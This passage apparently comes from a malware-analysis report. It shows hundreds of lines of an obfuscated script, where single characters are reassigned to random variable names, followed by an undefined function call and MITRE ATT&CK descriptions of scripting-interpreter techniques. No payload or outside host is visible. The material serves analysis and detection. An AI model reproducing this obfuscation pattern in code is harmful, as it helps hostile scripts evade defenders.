454	zameefzx = "U";
455	zameefzx = "S";
456	zameefzx = "l";
457	zameefzx = "E";
458	zameefzx = "F";
459	zameefzx = "v";
460	zameefzx = "%";
461	havjz = "y";
462	havjz = "J";
463	havjz = "E";
464	havjz = "X";
465	havjz = "T";
466	havjz = "h";
467	havjz = "H";
468	havjz = "X";
469	havjz = "p";
470	havjz = "N";
471	havjz = "A";
472	havjz = "Q";
473	havjz = "J";
474	havjz = "I";
475	havjz = "z";
476	havjz = "S";
477	havjz = "h";
478	havjz = "s";
479	havjz = "n";
480	havjz = "M";
481	havjz = "p";
482	havjz = "V";
483	havjz = "Y";
484	havjz = "g";
485	havjz = "j";
486	havjz = "P";
487	havjz = "S";
488	havjz = "O";
489	havjz = "O";
490	havjz = "N";
491	havjz = "a";
492	havjz = "r";
493	havjz = "H";
494	havjz = "G";
495	havjz = "a";
496	havjz = "k";
497	havjz = "b";
498	havjz = "x";
499	havjz = "D";
500	havjz = "d";
501	kpdkga = "p";
502	kpdkga = "Z";
503	kpdkga = "b";
504	kpdkga = "z";
505	kpdkga = "b";
506	kpdkga = "X";
507	kpdkga = "p";
508	kpdkga = "V";
509	kpdkga = "C";
510	kpdkga = "E";
511	kpdkga = "H";
512	kpdkga = "s";
513	kpdkga = "Z";
514	kpdkga = "S";
515	kpdkga = "O";
516	kpdkga = "i";
517	kpdkga = "N";
518	kpdkga = "u";
519	kpdkga = "K";
520	ihrkxs = "Q";
521	ihrkxs = "w";
522	ihrkxs = "y";
523	ihrkxs = "k";
524	ihrkxs = "z";
525	ihrkxs = "i";
526	ihrkxs = "c";
527	ihrkxs = "P";
528	ihrkxs = "g";
529	ihrkxs = "u";
530	ihrkxs = "r";
531	ihrkxs = "T";
532	ihrkxs = "k";
533	ihrkxs = "B";
534	ihrkxs = "t";
535	ihrkxs = "L";
536	ihrkxs = "k";
537	ihrkxs = "x";
538	ihrkxs = "d";
539	ihrkxs = "f";
540	ihrkxs = "W";
541	ihrkxs = "y";
542	ihrkxs = "B";
543	ihrkxs = "n";
544	ihrkxs = "P";
545	ihrkxs = "K";
546	ihrkxs = "G";
547	ihrkxs = "Z";
548	ihrkxs = "X";
549	ihrkxs = "K";
550	ihrkxs = "K";
551	ihrkxs = "W";
552	ihrkxs = "o";
553	ihrkxs = "W";
554	ihrkxs = "v";
555	ihrkxs = "I";
556	ihrkxs = "R";
557	ihrkxs = "m";
558	ihrkxs = "F";
559	ihrkxs = "y";
560	ihrkxs = "u";
561	ihrkxs = "J";
562	ihrkxs = "x";
563	gsduormrd = "t";
564	gsduormrd = "h";
565	gsduormrd = "q";
566	gsduormrd = "j";
567	gsduormrd = "E";
568	gsduormrd = "y";
569	gsduormrd = "u";
570	gsduormrd = "D";
571	gsduormrd = "B";
572	gsduormrd = "X";
573	gsduormrd = "C";
574	rwfvlwan = "Z";
575	rwfvlwan = "y";
576	rwfvlwan = "T";
577	rwfvlwan = "w";
578	rwfvlwan = "Z";
579	rwfvlwan = "K";
580	rwfvlwan = "p";
581	rwfvlwan = "s";
582	rwfvlwan = "Z";
583	rwfvlwan = "g";
584	rwfvlwan = "B";
585	rwfvlwan = "k";
586	rwfvlwan = "J";
587	rwfvlwan = "a";
588	rwfvlwan = "f";
589	rwfvlwan = "c";
590	rwfvlwan = "A";
591	rwfvlwan = "i";
592	rwfvlwan = "C";
593	rwfvlwan = "H";
594	rwfvlwan = "y";
595	rwfvlwan = "x";
596	rwfvlwan = "T";
597	rwfvlwan = "i";
598	rwfvlwan = "l";
599	rwfvlwan = "e";
600	rwfvlwan = "S";
601	rwfvlwan = "C";
602	rwfvlwan = "q";
603	rwfvlwan = "X";
604	rwfvlwan = "R";
605	rwfvlwan = "Z";
606	rwfvlwan = "U";
607	rwfvlwan = "X";
608	rwfvlwan = "V";
609	rwfvlwan = "T";
610	rwfvlwan = "H";
611	rwfvlwan = "C";
612	rwfvlwan = "V";
613	rwfvlwan = "f";
614	ltcpkdoxi = "a";
615	ltcpkdoxi = "T";
616	ltcpkdoxi = "y";
617	ltcpkdoxi = "B";
618	ltcpkdoxi = "B";
619	ltcpkdoxi = "E";
620	ltcpkdoxi = "t";
621	ltcpkdoxi = "w";
622	ltcpkdoxi = "W";
623	ltcpkdoxi = "W";
624	ltcpkdoxi = "u";
625	ltcpkdoxi = "l";
626	ltcpkdoxi = "i";
627	ltcpkdoxi = "k";
628	ltcpkdoxi = "d";
629	ltcpkdoxi = "C";
630	ltcpkdoxi = "I";
631	ltcpkdoxi = "i";
632	ltcpkdoxi = "f";
633	ltcpkdoxi = "A";
634	ltcpkdoxi = "w";
635	ltcpkdoxi = "x";
636	ltcpkdoxi = "y";
637	ltcpkdoxi = "B";
638	ltcpkdoxi = "B";
639	ltcpkdoxi = "Z";
640	ltcpkdoxi = "E";
641	ltcpkdoxi = "F";
642	ltcpkdoxi = "i";
643	feywplmlq = "m";
644	feywplmlq = "H";
645	feywplmlq = "u";
646	feywplmlq = "z";
647	feywplmlq = "P";
648	feywplmlq = "f";
649	feywplmlq = "L";
650	feywplmlq = "U";
651	feywplmlq = "V";
652	feywplmlq = "b";
653	feywplmlq = "f";
654	feywplmlq = "w";
655	feywplmlq = "d";
656	feywplmlq = "p";
657	feywplmlq = "M";
658	feywplmlq = "X";
659	feywplmlq = "v";
660	feywplmlq = "F";
661	feywplmlq = "l";
662	feywplmlq = "z";
663	feywplmlq = "J";
664	feywplmlq = "V";
665	feywplmlq = "X";
666	feywplmlq = "B";
667	feywplmlq = "b";
668	feywplmlq = "S";
669	feywplmlq = "A";
670	feywplmlq = "V";
671	feywplmlq = "a";
672	feywplmlq = "V";
673	feywplmlq = "7";
674	qfiplizqz = "y";
675	qfiplizqz = "g";
676	qfiplizqz = "n";
677	qfiplizqz = "t";
678	qfiplizqz = "b";
679	qfiplizqz = "C";
680	qfiplizqz = "M";
681	qfiplizqz = "f";
682	qfiplizqz = "h";
683	qfiplizqz = "r";
684	qfiplizqz = "a";
685	qfiplizqz = "c";
686	qfiplizqz = "J";
687	qfiplizqz = "J";
688	qfiplizqz = "b";
689	qfiplizqz = "J";
690	qfiplizqz = "F";
691	qfiplizqz = "t";
692	qfiplizqz = "V";
693	qfiplizqz = "s";
694	qfiplizqz = "S";
695	qfiplizqz = "c";
696	qfiplizqz = "A";
697	qfiplizqz = "d";
698	qfiplizqz = "m";
699	qfiplizqz = "g";
700	qfiplizqz = "E";
701	qfiplizqz = "\"";
702	jraqtod = "g";
703	jraqtod = "g";
704	jraqtod = "w";
705	jraqtod = "m";
706	jraqtod = "Y";
707	jraqtod = "I";
708	jraqtod = "I";
709	jraqtod = "C";
710	jraqtod = "N";
711	jraqtod = "t";
712	jraqtod = "z";
713	jraqtod = "b";
714	jraqtod = "r";
715	jraqtod = "w";
716	jraqtod = "U";
717	jraqtod = "W";
718	jraqtod = "m";
719	jraqtod = "k";
720	jraqtod = "F";
721	jraqtod = "m";
722	jraqtod = "x";
723	jraqtod = "l";
724	jraqtod = "L";
725	tefldddzl = "P";
726	tefldddzl = "h";
727	tefldddzl = "u";
728	tefldddzl = "y";
729	tefldddzl = "m";
730	tefldddzl = "l";
731	tefldddzl = "D";
732	tefldddzl = "F";
733	tefldddzl = "T";
734	tefldddzl = "k";
735	tefldddzl = "V";
736	tefldddzl = "L";
737	tefldddzl = "t";
738	tefldddzl = "x";
739	tefldddzl = "s";
740	tefldddzl = "P";
741	tefldddzl = "B";
742	tefldddzl = "K";
743	tefldddzl = "f";
744	tefldddzl = "c";
745	tughkrj = "D";
746	tughkrj = "h";
747	tughkrj = "C";
748	tughkrj = "h";
749	tughkrj = "s";
750	tughkrj = "g";
751	tughkrj = "t";
752	tughkrj = "z";
753	tughkrj = "N";
754	tughkrj = "w";
755	tughkrj = "B";
756	tughkrj = "z";
757	tughkrj = "r";
758	tughkrj = "a";
759	tughkrj = "p";
760	tughkrj = "i";
761	tughkrj = "j";
762	tughkrj = "l";
763	tughkrj = "P";
764	tughkrj = "v";
765	tughkrj = "A";
766	tughkrj = "f";
767	tughkrj = "s";
768	tughkrj = "z";
769	tughkrj = "r";
770	tughkrj = "z";
771	tughkrj = "c";
772	tughkrj = "J";
773	tughkrj = "u";
774	tughkrj = "x";
775	tughkrj = "O";
776	tughkrj = "A";
777	tughkrj = "w";
778	tughkrj = "I";
779	tughkrj = "b";
780	tughkrj = "o";
781	tughkrj = "E";
782	tughkrj = "I";
783	tughkrj = "R";
784	tughkrj = "r";
785	tughkrj = "C";
786	tughkrj = "N";
787	tughkrj = "n";
788	bijhxofg = "h";
789	bijhxofg = "I";
790	bijhxofg = "U";
791	bijhxofg = "b";
792	bijhxofg = "V";
793	bijhxofg = "K";
794	bijhxofg = "o";
795	bijhxofg = "b";
796	bijhxofg = "n";
797	bijhxofg = "H";
798	bijhxofg = "y";
799	bijhxofg = "G";
800	bijhxofg = "j";
801	bijhxofg = "o";
802	bijhxofg = "m";
803	bijhxofg = "f";
804	bijhxofg = "C";
805	bijhxofg = "M";
806	bijhxofg = "X";
807	bijhxofg = "U";
808	bijhxofg = "k";
809	bijhxofg = "m";
810	bijhxofg = "Z";
811	bijhxofg = "W";
812	bijhxofg = "o";
813	ukhtmtjf = "I";
814	ukhtmtjf = "B";
815	ukhtmtjf = "U";
816	ukhtmtjf = "a";
817	ukhtmtjf = "X";
818	ukhtmtjf = "S";
819	ukhtmtjf = "s";
820	ukhtmtjf = "P";
821	ukhtmtjf = "E";
822	ukhtmtjf = "q";
823	ukhtmtjf = "O";
824	ukhtmtjf = "L";
825	ukhtmtjf = "M";
826	ukhtmtjf = "F";
827	ukhtmtjf = "C";
828	ukhtmtjf = "h";
829	ukhtmtjf = "N";
830	ukhtmtjf = "E";
831	ukhtmtjf = "z";
832	ukhtmtjf = "z";
833	ukhtmtjf = "X";
834	ukhtmtjf = "R";
835	ukhtmtjf = "R";
836	ukhtmtjf = "o";
837	ukhtmtjf = "F";
838	ukhtmtjf = "Y";
839	ukhtmtjf = "w";
840	ukhtmtjf = "V";
841	ukhtmtjf = "f";
842	ukhtmtjf = "g";
843	ukhtmtjf = "W";
844	ukhtmtjf = "A";
845	ukhtmtjf = "E";
846	ukhtmtjf = "q";
847	ukhtmtjf = "K";
848	ukhtmtjf = "q";
849	ukhtmtjf = "p";
850	ukhtmtjf = "X";
851	ukhtmtjf = "j";
852	ukhtmtjf = "S";
853	ukhtmtjf = "g";
854	ukhtmtjf = "z";
855	ukhtmtjf = "Q";
856	ukhtmtjf = "H";
857	ukhtmtjf = "N";
858	qjpppzq = "n";
859	qjpppzq = "b";
860	qjpppzq = "y";
861	qjpppzq = "H";
862	qjpppzq = "x";
863	qjpppzq = "o";
864	qjpppzq = "S";
865	sorcjkkwd = "T";
866	sorcjkkwd = "v";
867	sorcjkkwd = "p";
868	sorcjkkwd = "D";
869	sorcjkkwd = "q";
870	sorcjkkwd = "v";
871	sorcjkkwd = "n";
872	sorcjkkwd = "-";
873	dmreogs = "R";
874	dmreogs = "C";
875	dmreogs = "T";
876	dmreogs = "i";
877	dmreogs = "i";
878	dmreogs = "Z";
879	dmreogs = "F";
880	dmreogs = "U";
881	dmreogs = "u";
882	dmreogs = "K";
883	dmreogs = "E";
884	dmreogs = "W";
885	dmreogs = "e";
886	dmreogs = "I";
887	dmreogs = "T";
888	dmreogs = "d";
889	dmreogs = "q";
890	dmreogs = "s";
891	dmreogs = "m";
892	dmreogs = "q";
893	dmreogs = "c";
894	dmreogs = "i";
895	dmreogs = "Q";
896	dmreogs = "j";
897	vivhjwwb = "V";
898	vivhjwwb = "e";
899	vivhjwwb = "L";
900	vivhjwwb = "d";
901	vivhjwwb = "W";
902	vivhjwwb = "V";
903	vivhjwwb = "S";
904	vivhjwwb = "E";
905	vivhjwwb = "v";
906	vivhjwwb = "f";
907	vivhjwwb = "Q";
908	vivhjwwb = "c";
909	vivhjwwb = "P";
910	vivhjwwb = "A";
911	vivhjwwb = "o";
912	vivhjwwb = "X";
913	vivhjwwb = "C";
914	vivhjwwb = "z";
915	vivhjwwb = "v";
916	vivhjwwb = "I";
917	vivhjwwb = "z";
918	vivhjwwb = "E";
919	vivhjwwb = "Q";
920	vivhjwwb = "H";
921	vivhjwwb = "k";
922	vivhjwwb = "w";
923	vivhjwwb = "e";
924	vivhjwwb = "X";
925	vivhjwwb = "E";
926	vivhjwwb = "I";
927	vivhjwwb = "V";
928	vivhjwwb = "P";
929	vivhjwwb = "i";
930	vivhjwwb = "W";
931	vivhjwwb = "s";
932	vivhjwwb = "s";
933	vivhjwwb = "q";
934	amrfsaokg = "q";
935	amrfsaokg = "U";
936	amrfsaokg = "L";
937	amrfsaokg = "e";
938	amrfsaokg = "J";
939	amrfsaokg = "o";
940	amrfsaokg = "h";
941	amrfsaokg = "H";
942	amrfsaokg = "P";
943	amrfsaokg = "Z";
944	amrfsaokg = "N";
945	amrfsaokg = "h";
946	amrfsaokg = "N";
947	amrfsaokg = "K";
948	amrfsaokg = "q";
949	amrfsaokg = "m";
950	amrfsaokg = "Q";
951	amrfsaokg = "m";
952	amrfsaokg = "i";
953	amrfsaokg = "a";
954	amrfsaokg = "U";
955	amrfsaokg = "Q";
956	amrfsaokg = "s";
957	amrfsaokg = "x";
958	amrfsaokg = "A";
959	amrfsaokg = "R";
960	amrfsaokg = "B";
961	amrfsaokg = "Q";
962	amrfsaokg = "h";
963	amrfsaokg = "D";
964	amrfsaokg = "F";
965	amrfsaokg = "q";
966	amrfsaokg = "P";
967	kzpywr = "a";
968	kzpywr = "b";
969	kzpywr = "Q";
970	kzpywr = "j";
971	kzpywr = "w";
972	kzpywr = "j";
973	kzpywr = "s";
974	kzpywr = "G";
975	kzpywr = "e";
976	kzpywr = "j";
977	kzpywr = "V";
978	kzpywr = "y";
979	kzpywr = "f";
980	kzpywr = "n";
981	kzpywr = "e";
982	kzpywr = "u";
983	kzpywr = "F";
984	kzpywr = "e";
985	kzpywr = "D";
986	kzpywr = "l";
987	kzpywr = "B";
988	kzpywr = "Q";
989	kzpywr = "j";
990	kzpywr = "T";
991	ospwdfefq = "Q";
992	ospwdfefq = "K";
993	ospwdfefq = "f";
994	ospwdfefq = "p";
995	ospwdfefq = "z";
996	ospwdfefq = "W";
997	rfkak = "k";
998	rfkak = "r";
999	rfkak = "z";
1000	rfkak = "k";
1001	rfkak = "s";
1002	rfkak = "f";
1003	rfkak = "K";
1004	rfkak = "a";
1005	rfkak = "p";
1006	rfkak = "X";
1007	rfkak = "t";
1008	rfkak = "E";
1009	csjuxchw = "I";
1010	csjuxchw = "Z";
1011	csjuxchw = "c";
1012	csjuxchw = "m";
1013	csjuxchw = "p";
1014	csjuxchw = "I";
1015	csjuxchw = "l";
1016	csjuxchw = "t";
1017	csjuxchw = "s";
1018	gjeuaenq = "q";
1019	gjeuaenq = "D";
1020	gjeuaenq = "Y";
1021	gjeuaenq = "A";
1022	gjeuaenq = "T";
1023	gjeuaenq = "L";
1024	gjeuaenq = "Q";
1025	gjeuaenq = "P";
1026	gjeuaenq = "z";
1027	gjeuaenq = "Y";
1028	gjeuaenq = "k";
1029	gjeuaenq = "L";
1030	gjeuaenq = "R";
1031	gjeuaenq = "J";
1032	gjeuaenq = "z";
1033	gjeuaenq = "a";
1034	gjeuaenq = "p";
1035	gjeuaenq = "q";
1036	gjeuaenq = "g";
1037	gjeuaenq = "d";
1038	gjeuaenq = "c";
1039	gjeuaenq = "d";
1040	gjeuaenq = "K";
1041	gjeuaenq = "9";
1042	vuvmep = "J";
1043	vuvmep = "A";
1044	vuvmep = "h";
1045	vuvmep = "b";
1046	vuvmep = "j";
1047	vuvmep = "n";
1048	vuvmep = "Z";
1049	vuvmep = "A";
1050	vuvmep = "d";
1051	vuvmep = "z";
1052	vuvmep = "J";
1053	vuvmep = "U";
1054	vuvmep = "O";
1055	vuvmep = "b";
1056	vuvmep = "R";
1057	vuvmep = "U";
1058	vuvmep = "v";
1059	vuvmep = "d";
1060	vuvmep = "a";
1061	vuvmep = "w";
1062	vuvmep = "D";
1063	vuvmep = "v";
1064	vuvmep = "K";
1065	vuvmep = "e";
1066	vuvmep = "L";
1067	vuvmep = "t";
1068	vuvmep = "s";
1069	vuvmep = "d";
1070	vuvmep = "E";
1071	vuvmep = "g";
1072	vuvmep = "O";
1073	vuvmep = "a";
1074	vuvmep = "H";
1075	xghydzh = "G";
1076	xghydzh = "V";
1077	xghydzh = "c";
1078	xghydzh = "a";
1079	xghydzh = "s";
1080	xghydzh = "L";
1081	xghydzh = "k";
1082	xghydzh = "q";
1083	xghydzh = "o";
1084	xghydzh = "O";
1085	xghydzh = "m";
1086	xghydzh = "T";
1087	xghydzh = "Y";
1088	xghydzh = "G";
1089	xghydzh = "s";
1090	xghydzh = "j";
1091	xghydzh = "M";
1092	xghydzh = "z";
1093	xghydzh = "C";
1094	xghydzh = "k";
1095	xghydzh = "Y";
1096	xghydzh = "M";
1097	xghydzh = "f";
1098	xghydzh = "X";
1099	xghydzh = "i";
1100	xghydzh = "L";
1101	xghydzh = "j";
1102	xghydzh = "l";
1103	ptsygg = "B";
1104	ptsygg = "T";
1105	ptsygg = "T";
1106	ptsygg = "f";
1107	ptsygg = "H";
1108	ptsygg = "K";
1109	ptsygg = "M";
1110	ptsygg = "Q";
1111	ptsygg = "X";
1112	ptsygg = "m";
1113	ptsygg = "H";
1114	ptsygg = "N";
1115	ptsygg = "l";
1116	ptsygg = "V";
1117	ptsygg = "b";
1118	ptsygg = "P";
1119	ptsygg = "W";
1120	ptsygg = "L";
1121	ptsygg = "M";
1122	ptsygg = "v";
1123	ptsygg = "b";
1124	ptsygg = "k";
1125	ptsygg = "k";
1126	ptsygg = "n";
1127	ptsygg = "n";
1128	ptsygg = "r";
1129	ptsygg = "Q";
1130	ptsygg = "/";
1131	xsjdvyg = "J";
1132	xsjdvyg = "Q";
1133	xsjdvyg = "z";
1134	xsjdvyg = "y";
1135	xsjdvyg = "I";
1136	xsjdvyg = "E";
1137	xsjdvyg = "k";
1138	xsjdvyg = "K";
1139	xsjdvyg = "G";
1140	xsjdvyg = "u";
1141	xsjdvyg = "F";
1142	xsjdvyg = "R";
1143	xsjdvyg = "k";
1144	xsjdvyg = "A";
1145	xsjdvyg = "X";
1146	xsjdvyg = "i";
1147	xsjdvyg = "C";
1148	xsjdvyg = "Q";
1149	xsjdvyg = "p";
1150	xsjdvyg = "D";
1151	xsjdvyg = "t";
1152	xsjdvyg = "B";
1153	xsjdvyg = "f";
1154	xsjdvyg = "j";
1155	xsjdvyg = "F";
1156	xsjdvyg = "y";
1157	xsjdvyg = "m";
1158	xsjdvyg = "L";
1159	xsjdvyg = ":";
1160	kszlbh = "E";
1161	kszlbh = "T";
1162	kszlbh = "O";
1163	kszlbh = "n";
1164	kszlbh = "L";
1165	kszlbh = "N";
1166	kszlbh = "i";
1167	kszlbh = "W";
1168	kszlbh = "K";
1169	kszlbh = "R";
1170	kszlbh = "b";
1171	kszlbh = "x";
1172	kszlbh = "O";
1173	kszlbh = "B";
1174	kszlbh = "r";
1175	kszlbh = "X";
1176	kszlbh = "x";
1177	kszlbh = "R";
1178	sgyndyd = "o";
1179	sgyndyd = "U";
1180	sgyndyd = "i";
1181	sgyndyd = "C";
1182	sgyndyd = "P";
1183	sgyndyd = "v";
1184	sgyndyd = "O";
1185	sgyndyd = "m";
1186	sgyndyd = "b";
1187	sgyndyd = "B";
1188	sgyndyd = "k";
1189	sgyndyd = "g";
1190	sgyndyd = "r";
1191	sgyndyd = "W";
1192	sgyndyd = "A";
1193	sgyndyd = "R";
1194	sgyndyd = "V";
1195	sgyndyd = "y";
1196	sgyndyd = "Y";
1197	sgyndyd = "T";
1198	sgyndyd = "e";
1199	rkecl = "x";
1200	rkecl = "V";
1201	rkecl = "H";
1202	rkecl = "Q";
1203	rkecl = "J";
1204	rkecl = "B";
1205	rkecl = "V";
1206	rkecl = "U";
1207	rkecl = "x";
1208	rkecl = "b";
1209	rkecl = "g";
1210	rkecl = "N";
1211	rkecl = "m";
1212	rkecl = "W";
1213	rkecl = "x";
1214	rkecl = "w";
1215	rkecl = "X";
1216	rkecl = "q";
1217	rkecl = "Y";
1218	rkecl = "a";
1219	rkecl = "n";
1220	rkecl = "P";
1221	rkecl = "B";
1222	rkecl = "j";
1223	rkecl = "Y";
1224	rkecl = "U";
1225	rkecl = "m";
1226	rkecl = "m";
1227	rkecl = "H";
1228	rkecl = "m";
1229	rkecl = "A";
1230	rkecl = "L";
1231	rkecl = "w";
1232	rkecl = "x";
1233	rkecl = "H";
1234	rkecl = "g";
1235	rkecl = "Q";
1236	rkecl = "w";
1237	rkecl = "Y";
1238	alsmdb = "l";
1239	alsmdb = "m";
1240	alsmdb = "z";
1241	alsmdb = "p";
1242	alsmdb = "a";
1243	alsmdb = "B";
1244	alsmdb = "e";
1245	alsmdb = "N";
1246	alsmdb = "J";
1247	alsmdb = "s";
1248	alsmdb = "i";
1249	alsmdb = "R";
1250	alsmdb = "y";
1251	alsmdb = "x";
1252	alsmdb = "a";
1253	alsmdb = "t";
1254	alsmdb = "l";
1255	alsmdb = "n";
1256	alsmdb = "u";
1257	alsmdb = "r";
1258	alsmdb = "f";
1259	alsmdb = "w";
1260	alsmdb = "E";
1261	alsmdb = "V";
1262	alsmdb = "f";
1263	alsmdb = "y";
1264	alsmdb = "i";
1265	alsmdb = "R";
1266	alsmdb = "U";
1267	alsmdb = "x";
1268	alsmdb = "P";
1269	alsmdb = "h";
1270	alsmdb = "l";
1271	alsmdb = "B";
1272	alsmdb = "0";
1273	lnqej = "b";
1274	lnqej = "c";
1275	lnqej = "2";
1276	pwfcou = "G";
1277	pwfcou = "d";
1278	pwfcou = "u";
1279	pwfcou = "J";
1280	pwfcou = "V";
1281	pwfcou = "Z";
1282	pwfcou = "g";
1283	pwfcou = "h";
1284	pwfcou = "q";
1285	pwfcou = "a";
1286	pwfcou = "U";
1287	xemql = "D";
1288	xemql = "a";
1289	xemql = "z";
1290	xemql = "T";
1291	xemql = "T";
1292	xemql = "o";
1293	xemql = "m";
1294	rfwhfus = "r";
1295	rfwhfus = "M";
1296	rfwhfus = "t";
1297	rfwhfus = "p";
1298	rfwhfus = "i";
1299	rfwhfus = "G";
1300	rfwhfus = "L";
1301	rfwhfus = "S";
1302	rfwhfus = "e";
1303	rfwhfus = ".";
1304	wqhkax = "B";
1305	wqhkax = "P";
1306	wqhkax = "C";
1307	wqhkax = "Z";
1308	wqhkax = "r";
1309	wqhkax = "X";
1310	wqhkax = "a";
1311	wqhkax = "K";
1312	wqhkax = "S";
1313	wqhkax = "F";
1314	wqhkax = "M";
1315	wqhkax = "E";
1316	wqhkax = "e";
1317	wqhkax = "p";
1318	wqhkax = "a";
1319	wqhkax = "e";
1320	wqhkax = "Y";
1321	wqhkax = "R";
1322	wqhkax = "i";
1323	wqhkax = "I";
1324	wqhkax = "E";
1325	wqhkax = "v";
1326	wqhkax = "g";
1327	wqhkax = "c";
1328	wqhkax = "e";
1329	wqhkax = "Y";
1330	wqhkax = "W";
1331	wqhkax = "o";
1332	wqhkax = "j";
1333	wqhkax = "d";
1334	wqhkax = "w";
1335	wqhkax = "S";
1336	wqhkax = "8";
1337	bkdljd = "C";
1338	bkdljd = "n";
1339	bkdljd = "D";
1340	bkdljd = "h";
1341	bkdljd = "K";
1342	bkdljd = "n";
1343	bkdljd = "m";
1344	bkdljd = "x";
1345	bkdljd = "i";
1346	bkdljd = "u";
1347	bkdljd = "s";
1348	bkdljd = "G";
1349	bkdljd = "z";
1350	bkdljd = "d";
1351	bkdljd = "y";
1352	bkdljd = "j";
1353	bkdljd = "v";
1354	bkdljd = "a";
1355	bkdljd = "G";
1356	bkdljd = "X";
1357	bkdljd = "I";
1358	bkdljd = "f";
1359	bkdljd = "O";
1360	rqwogaid = "M";
1361	rqwogaid = "F";
1362	rqwogaid = "e";
1363	rqwogaid = "h";
1364	rqwogaid = "Y";
1365	rqwogaid = "e";
1366	rqwogaid = "s";
1367	rqwogaid = "j";
1368	rqwogaid = "I";
1369	rqwogaid = "s";
1370	rqwogaid = "b";
1371	rqwogaid = "k";
1372	rqwogaid = "Q";
1373	rqwogaid = "c";
1374	rqwogaid = "x";
1375	rqwogaid = "W";
1376	rqwogaid = "v";
1377	rqwogaid = "k";
1378	rqwogaid = "f";
1379	rqwogaid = "w";
1380	rqwogaid = "D";
1381	rqwogaid = "X";
1382	rqwogaid = "&";
1383	jzlpb = "V";
1384	jzlpb = "C";
1385	jzlpb = "T";
1386	jzlpb = "u";
1387	jzlpb = "b";
1388	jzlpb = "y";
1389	jzlpb = "b";
1390	jzlpb = "a";
1391	jzlpb = "F";
1392	jzlpb = "Y";
1393	jzlpb = "u";
1394	jzlpb = "h";
1395	jzlpb = "r";
1396	jzlpb = "o";
1397	jzlpb = "G";
1398	jzlpb = "C";
1399	jzlpb = "k";
1400	jzlpb = "p";
1401	jzlpb = "W";
1402	jzlpb = "j";
1403	jzlpb = "s";
1404	jzlpb = "I";
1405	jzlpb = "i";
1406	jzlpb = "X";
1407	jzlpb = "G";
1408	jzlpb = "J";
1409	jzlpb = "U";
1410	jzlpb = "k";
1411	jzlpb = "s";
1412	jzlpb = "I";
1413	jzlpb = "I";
1414	eswfsfk = "e";
1415	eswfsfk = "L";
1416	eswfsfk = "R";
1417	eswfsfk = "Y";
1418	eswfsfk = "a";
1419	eswfsfk = "v";
1420	eswfsfk = "x";
1421	eswfsfk = "C";
1422	eswfsfk = "d";
1423	eswfsfk = "j";
1424	eswfsfk = "G";
1425	eswfsfk = "I";
1426	eswfsfk = "Z";
1427	eswfsfk = "G";
1428	eswfsfk = "f";
1429	eswfsfk = "g";
1430	eswfsfk = "c";
1431	eswfsfk = "Z";
1432	eswfsfk = "z";
1433	eswfsfk = "K";
1434	eswfsfk = "y";
1435	eswfsfk = "L";
1436	eswfsfk = "a";
1437	eswfsfk = "G";
1438	eswfsfk = "E";
1439	eswfsfk = "M";
1440	eswfsfk = "i";
1441	eswfsfk = "O";
1442	eswfsfk = "L";
1443	eswfsfk = "J";
1444	eswfsfk = "A";
1445	eswfsfk = "Z";
1446	eswfsfk = "1";
1447	ubriwralf = "f";
1448	ubriwralf = "F";
1449	ubriwralf = "R";
1450	ubriwralf = "q";
1451	ubriwralf = "c";
1452	ubriwralf = "q";
1453	ubriwralf = "U";
1454	ubriwralf = "J";
1455	ubriwralf = "e";
1456	ubriwralf = "u";
1457	ubriwralf = "t";
1458	ubriwralf = "h";
1459	ubriwralf = "D";
1460	ubriwralf = "p";
1461	ubriwralf = "g";
1462	ubriwralf = "Z";
1463	ubriwralf = "C";
1464	ubriwralf = "Y";
1465	ubriwralf = "Q";
1466	ubriwralf = "G";
1467	ubriwralf = "Y";
1468	ubriwralf = "c";
1469	ubriwralf = "B";
1470	ubriwralf = "p";
1471	ubriwralf = "D";
1472	ubriwralf = "l";
1473	ubriwralf = "g";
1474	ubriwralf = "F";
1475	ubriwralf = "G";
1476	ubriwralf = "R";
1477	ubriwralf = "W";
1478	ubriwralf = "A";
1479	ubriwralf = "g";
1480	ubriwralf = "V";
1481	ubriwralf = "L";
1482	ubriwralf = "R";
1483	ubriwralf = "m";
1484	ubriwralf = "E";
1485	ubriwralf = "E";
1486	ubriwralf = "B";
1487	ubriwralf = "g";
1488	ubriwralf = "6";
1489	mcefrpg = "m";
1490	mcefrpg = "a";
1491	jpbddyrtf = "P";
1492	jpbddyrtf = "X";
1493	jpbddyrtf = "j";
1494	jpbddyrtf = "I";
1495	jpbddyrtf = "F";
1496	jpbddyrtf = "v";
1497	jpbddyrtf = "U";
1498	jpbddyrtf = "q";
1499	jpbddyrtf = "x";
1500	jpbddyrtf = "a";
1501	jpbddyrtf = "U";
1502	jpbddyrtf = "P";
1503	jpbddyrtf = "A";
1504	jpbddyrtf = "y";
1505	jpbddyrtf = "W";
1506	jpbddyrtf = "B";
1507	jpbddyrtf = "D";
1508	jpbddyrtf = "G";
1509	jpbddyrtf = "@";
1510	pnvopnhna = "K";
1511	pnvopnhna = "v";
1512	pnvopnhna = "f";
1513	pnvopnhna = "E";
1514	pnvopnhna = "U";
1515	pnvopnhna = "q";
1516	pnvopnhna = "K";
1517	pnvopnhna = "J";
1518	pnvopnhna = "l";
1519	pnvopnhna = "D";
1520	pnvopnhna = "L";
1521	pnvopnhna = "v";
1522	pnvopnhna = "a";
1523	pnvopnhna = "T";
1524	pnvopnhna = "K";
1525	pnvopnhna = "I";
1526	pnvopnhna = "U";
1527	pnvopnhna = "a";
1528	pnvopnhna = "X";
1529	pnvopnhna = "g";
1530	pnvopnhna = "I";
1531	pnvopnhna = "B";
1532	pnvopnhna = "k";
1533	pnvopnhna = "L";
1534	pnvopnhna = "o";
1535	pnvopnhna = "s";
1536	pnvopnhna = "Q";
1537	ebhiifa ( );	ebhiifa() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

